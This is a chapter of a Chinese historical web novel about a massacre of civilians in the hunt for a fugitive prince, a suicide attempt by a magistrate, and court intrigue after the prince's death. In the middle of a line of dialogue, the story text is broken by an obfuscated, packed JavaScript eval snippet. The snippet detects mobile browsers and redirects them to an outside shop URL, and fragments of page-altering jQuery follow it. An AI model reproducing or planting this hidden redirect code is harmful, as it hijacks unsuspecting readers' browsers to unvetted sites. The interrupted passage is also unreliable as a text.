看了一日的屠杀闹剧,晟远东也劝过宋海廷,可反复几次无甚作用。
他本就忍无可忍,却被要求督管杀人的差事。
国字脸一沉,他面露不悦,“都督,这一里一里的屠下去,已有两千人伏诛……两县百姓死于无辜屠戮……再杀下去,怕是会出乱子。”
“查不出靖王的下落,才是真的出乱子!”宋海廷瞪了他一眼,“陛下已下了旨意,两月之内抓不住靖王,本都督便要自请撤职谢罪!”
晟远东沉声道:“梁王殿下西征之时,虽破城却从未屠城,所以安西军兵临城下时,众城皆降。西洲归齐,正是安抚人心之时,以屠城为手段逼迫百姓吐露靖王行踪,并非良策,还请都督三思!”
自来到西洲,宋海廷一直笼罩在梁王的权力阴影之下。
梁王都督上庸边郡十年之久,征抚西洲之政皆出自他之手,征西将军府里遍布他的旧部。
宋海廷欲推行己政,却频频受阻。
安西铁骑里刺头多,是聚在一起的狼群。仗着新立了军功,他们个个儿自认功不可没,野蛮难训。
尤其是这个晟远东,他十五岁入安西铁骑,追随征战萧池煜十五年。萧池煜死后,梁王接手安西铁骑,将他提拔为治军司马,位同副都统,他又追随梁王征战十年,对萧家和梁王忠心耿耿,张嘴闭嘴皆是梁王殿下。
宋海廷早就看他不顺眼,可偏偏他在军中资历老,辈分高,在上庸边郡,安西铁骑只听他的话。
想操纵安西铁骑这个庞然大物,没了他,宋海廷就失去了可供驱策的马鞭。
虽对他十分不满,可宋海廷却暂时动不得他。
阴阳怪气地冷笑,宋海廷话里带着三分恼,“怎么?你晟远东不服军令,要不……这都督之位让给你来当!”
***
观望了一日的血腥屠杀,晟远东带着满身煞气,打道回府。
打马走在街上,他忽听身后一声口哨响,扭头时,瞥见祁斌打马追了上来。
祁斌瞥见他垮着一张脸,戏道:“呦,司马大人印堂发黑,乌云盖顶,煞气重啊!晚辈掐指一算,您老跟那姓宋的又吵架了吧?”
祁斌任从事中郎,在征西将军府里参议军政,虽比晟远东年轻十岁,可与他做了七八年的同僚,在他面前总没脸没皮,没大没小。
晟远东眼神不快,随意落在街头巷尾,“自仗打完,殿下归都,你小子天天闲得淡出个鸟儿来。今天又没人说话,来奚落你老子?屁股蛋儿又痒了!”
街灯摇曳,映得祁斌油头粉面。
他懒洋洋地自嘲一笑,“自新都督来了上庸,参议换了一批新人。我们这些旧人都是绣花枕头,搁在一边儿都嫌占地方,可不闲得慌。”
晟远东睇他一嘲,话说得并不严肃,“你小子不是惯会钻营?拿出当年往殿下面前卖弄的劲儿,说不定在新都督面前能谋个一席之地。”
祁斌啧啧,“老话说得好,千里马也得有伯乐识。那姓宋的算什么东西,说实话,我都不惜地往他跟前儿凑。如今他又是征税又是杀人,搞得西洲乌烟瘴气,跟他搞近了,怕有血光之灾!”
晟远东斥了他一嘴,“大街上呢,放什么屁话!”
祁斌舔着脸笑,“屁也是实实在在的响屁,实话实说不是。”
说完,他脸又耷拉下来,闷声道:“说实在的,殿下领着咱们兄弟,拼着一刀一枪,辛辛苦苦将西洲打下来。咱们攻城略地时,谁不想抢钱抢女人捞好处,可殿军令如山,无人敢造次!如今姓宋的一来,搞得百姓哭爹喊娘,全乱了套!
江山是咱们抵着刀刃打下来的。殿下归都,镇抚西洲的都督当属您晟老不是,可朝廷却派来一批乳臭未干的毛头小子。打仗的时候没见着他们的影儿,可便宜全让这帮王八孙子占了!”
晟远东瞪了他一眼,“把你这响屁憋回去,回家再放。”
“怕什么!反正这窝囊日子也快到头了!”说完,他从怀中取出一个小指粗细的竹筒。
朝着晟远东吹了声口哨,祁斌咧嘴笑,“殿下回信了。”
晟远东眼神一亮。
下一刻,祁斌将竹筒丢过去,正被他接在手里。
见他看了竹筒中的信绢,神色变化。
祁斌向他打了个响指,“晟老,您是当朝廷的忠臣?还是当殿下的良将?”
晟远东原本肃穆沉闷的脸上漾出一抹嗔笑,对祁斌浑声骂道:“又说屁话!知道还他娘的问!”
***
太守府
白日艳阳高照,夜半阴云忽至,天上下起缠绵小雨,戚戚沥沥,扰人忧思。
风骤起,死掉的花木枯枝摇晃,映在窗上,如地狱里爬入阳间的鬼爪,一下下挠着脆弱的窗纸。
李佑安一身官服未褪,头发凌乱如枯草般披在肩头。
坐在桌案前,他写下最后一个字,颤抖着用手举到烛下审视。
片刻后,他吹干了墨迹。
将纸放到案上仔细捋平,他起身走到书房正中,抬头望着已悬好的三尺白绫,抬脚踏上了桌案。
然而,未等他将脖子放上,窗忽然被风推开,风裹着雨水洒进来,溅湿了他刚写好的绝笔。
定睛时,昏暗的窗外,立着一道黑影。
自经历了白日的血腥地狱,李佑安心里装着两千枉死的冤魂。浑浑噩噩之下,竟以为窗外是来索命的鬼。
身子一晃,惊骇惭愧之下,他重重跌下了桌案。
匍匐在地,泼入室内的雨水打湿了他的脸。
雨水模糊了视线,他恍惚地看向窗外黑影,半跪半伏地重重磕了一个响头,悲声道:“身为甘遂的父母官,本官对不住你们,自知无颜面对甘遂百姓,本官……这便以死谢罪!”
他晃晃悠悠地站起来,正准备赴死时,窗外的黑影动了动。
浑厚的声音传来,“李大人若在今夜自裁,是要弃剩下六县的百姓于不顾?”
那声音浑浊里透着阳刚之气,分明是人声。
李佑安愣了一下,睁眼去辨认窗外之人,“你……不是鬼!”
窗外男子虽披着宽大的蓑衣,却遮不住魁梧的身形。
将帽檐往上抬了抬,他露出整张脸来,肃穆地看向李佑安,“李大人,咱们白日里见过。”
李佑安举着灯烛走过去,待看清他的脸时,惊诧道,“晟……晟将军!”
大齐梁王以怀柔之策镇抚西洲,颇具善名,晟远东是他的亲信,因此名声不差。
李佑安开城投降时,早就在梁王身边见过他,对他印象尚可。再加上,白天他在宋海廷面前替甘遂百姓请命,李佑安对他更添了几分敬意。
隔窗与他对望,晟远东开门见山道:“李大人想不想救甘遂百姓?”
提起白日之事,李佑安痛心疾首,却无能为力,“救甘遂百姓……除非我死……”
晟远东笑道:“李大人死了,还有王大人,赵大人……靖王在甘遂的亲信多的是。宋海廷还会以甘遂百姓的性命要挟其他人……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120798|187605||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
灯烛映着李佑安苍白的唇色。
叹息一声,他重重拍着窗台,“如今人为刀俎我鱼肉……还能如何?尚能如何!”
递给他一张叠好的纸,晟远东沉声道:“明日,大人按上面说得做,可解甘遂之难。”
***
二十日后
晨光熹微,草虫鸣尚未完全散去,黎明破晓之前,白日的秩序尚未恢复。
甘露宫里,帝王尚卧于榻,夜间值守的禁军与前来换防的队伍交接,轻盈的步伐下几乎碾不起静尘。
刘忠迈着小碎步走到寝殿外,垂头站好时打了个无声的哈欠,静待帝王传唤。
就在昼夜秩序按部就班地交替时,司马门外,背插鸟羽的传令军官猛扯缰绳,战马前蹄扬起,发出的嘶鸣打破了安然的平静。
他右手高举用三道火漆封着的皮囊,嘶哑着声音高喊,“军情急报!开宫门!”
羽檄①被送到甘露宫时,裴玄刚起了榻,还未来得及梳洗,便迫不及待地拆了火漆封泥。
一月来,他愁眉不展。看完信后,他眉间浓重的乌云骤然散开。
看着跪在殿中的传令军官,他神色灼灼,“靖王人头可带来?”
军官解下胸前的皮质包袱,将一方木椟双手奉上,“回陛下,靖王人头在此!”
***
天色将暗,月未升起。
刚刚放走了信鸽,裴安臣目之所及,信鸽还未消失天际,府中侍从便来传话,“殿下,宫里的福公公来了。”
前堂外,福临领着两个小内侍默立着,见裴安臣从堂内走出来,忙领着人走了过去。
扫了三人一眼,裴安臣磨了磨拇指上的狼骨扳指,问道:“福公公来此,可是陛下有何旨意?”
福临躬身,恭敬一笑,“殿下倒是猜着了。”
说完,他直起腰身,恭敬唱和,“陛下口谕‘你我兄弟二人多年未曾对弈,朕今夜得闲,想与君屹对弈一局,速入宫来’。”
转了转扳指,裴安臣敛眸沉思片刻,颔首道:“既然如此,福公公带路吧。”
他回得随意,似是寻常百姓人家,弟弟应着哥哥的邀席。
福临怔了怔,有些纳罕。
帝王之家到底不似寻常百姓,就算是亲兄弟,可面对帝王口谕,梁王也要下跪接谕。
不跪便接了谕旨,放在梁王头上,倒还真是头一次……
不过……
帝王口谕与诏书不同,不见诏不行跪礼也说得过去。
心思虽乱,可瞬间起落,福临便被抛之脑后。
上前一步,他凑到裴安臣身边,面色沉重地小声道:“今日晨时,甘遂来了军报,说是西洲靖王伏诛,羽翎军尽数散了。陛下此时传殿下进宫,怕是……要不要想个理由,给推拒了?”
福临话说了一半儿即止,而裴安臣却知那隐去的是什么。
西洲虽已归齐,可西洲战神靖王却领着残部不知所踪,若他有心复国,随时可杀大齐一个回马枪。
碍着靖王这个心头患,皇兄对他就算忌惮,可始终要留他一命以御靖王死灰复燃的可能。
如今靖王已死,狡兔死走狗烹。
皇兄今夜邀他入宫对弈,怕是要他赴鸿门宴。
裴安臣眸色深邃,淡淡一笑,“本王今日闲来无事,既然陛下相约对弈,岂能拒绝。”
说完,他取下狼骨扳指,递给侍从,又对他耳语了几句,转身对福临道:“福公公,咱们走吧。”